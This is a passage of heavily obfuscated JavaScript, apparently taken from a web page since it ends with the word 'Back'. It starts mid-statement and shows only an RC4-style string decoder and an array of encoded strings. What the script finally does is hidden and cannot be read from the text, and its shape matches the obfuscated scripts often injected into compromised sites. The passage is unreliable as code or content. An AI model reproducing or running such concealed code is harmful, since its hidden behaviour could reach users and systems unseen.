r;for(r=-0x955*-0x1+-0x7*0x7d+-0x5ea;r<0x2*-0x7a6+-0x2414+0x3460;r++){e[r]=r;}for(r=-0x1313*-0x1+-0x3*-0x3fd+-0x1f0a;r<-0x1877*-0x1+0x652+-0x1dc9;r++){Z=(Z+e[r]+n['charCodeAt'](r%n['length']))%(0xa06+-0x2e6+-0x4*0x188),L=e[r],e[r]=e[Z],e[Z]=L;}r=-0xaf*0x23+0x8*-0x174+-0x1df*-0x13,Z=-0x21*0x105+0x1b7e+-0x627*-0x1;for(var a=0x29*0x39+0xaf9+-0x141a;a<E['length'];a++){r=(r+(0x1c1*0x9+-0x1bf5+0xc2d))%(0x1fd7+-0x2229+0x32*0x11),Z=(Z+e[r])%(0x50b*-0x2+-0x23ac+0x85*0x5a),L=e[r],e[r]=e[Z],e[Z]=L,g+=String['fromCharCode'](E['charCodeAt'](a)^e[(e[r]+e[Z])%(-0x543+0x1*0x10a6+-0xa63)]);}return g;};a0P['rbvpsJ']=D,k=arguments,a0P['VMPWzM']=!![];}var J=B[-0x20dd+0x1*0xf5c+-0x1181*-0x1],H=I+J,W=k[H];return!W?(a0P['VRRpha']===undefined&&(a0P['VRRpha']=!![]),T=a0P['rbvpsJ'](T,F),k[H]=T):T=W,T;},a0P(k,P);}function a0k(){var U=['xua8W6ZdIZKmFKTD','WPhcVmkBWQBcK2pdMGq','WQalWQTmWPfuAMOIWQi','DYhdLWHoFSkUW5NcSJNcMapdSbq','xCo5WOy','x8oIWOW','wezT','WQZcPCozW70UW6za','FmowW7O','xCohWRTpWOFcKZVcSa','kauzAwZcKmoPWOtdSZaCza','vSoydq','W4RdKSkJ','btvX','ACosWRO','ue86W6FcP3XPzuvnmY4S','W7KIiqhcOmo+CG','W4BcOuW','EmklW7y','W7qBjq','WQzopG','khWF','i8ojWRO','EmofW6e','WRXtzq','pSkwW4BcT8oJqCoADG','W4X7hq','nbma','gCkfWQq','WOZcKSkK','rSoDWRm','rmkwWP0','hH/cLq','W4dcKCkvxSkZfSkx','ggGW','h19N','gt53','jfGn','nSkeW6/dRSkSW6ODcwjrBMdcGq','WPFcJCks','oczn','s8ksWRO','efTQ','FCo6WOe','W6pcOCk7','x8koWOK','t8obWQK','oxLB','fW1U','gZ9H','evtcRq','WQnGwa','q8oIW5i','WQ/cMmkz','yuiW','WQhdLSkl','aqT9','pNeY','ASoRWO0','uSoSW5u','xgKHemoWlmk0auKiWOBcH8ku','fmo0xW','fmkylG','WRmVlq','WQddOtS','WQzTyG','dfLP','w01T','CColWQq','pCktWQpdMmkHcCkUjWZcPCogWRGRoq','CxhcSW','ad4V','W7xdUK0','b8oVua','lmoNW64','gtj7','WRDHia','WQpcJ8khFq7cGSoUnw4xWQ3dSKe','W4/dQSoF','jG7cHsDgWOzVg0SHWQrpWR4','eSkEhW','W4BdUmkP','WQ7dQCkyWOjsWOywcmk6WR3cU8koW6y','tItcVa','a8kdmq','W7tdQK4','nmkDWQ3dMSkJcCosDtBcO8oOWQy','WQiMiG','W4TJW7m','w8oOWP/dHZtcSSoXoSo7ytezW6y','WRJdN8oqW77cQCo+WPq','fLn8','W7/dSmoE','WP3cHCk4','d8kVW4m','rSkWu8k+smoDod8','vSovBCknhrH1j0ZcUmo8WQy9','W5FdU8k7','W75xW6W','cCkEWRG','WPeXrG','y1ldMG'];a0k=function(){return U;};return a0k();}};
Back